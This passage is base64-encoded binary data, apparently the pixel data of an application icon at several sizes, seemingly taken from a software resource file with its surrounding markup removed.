Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + + 480, 17 + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + 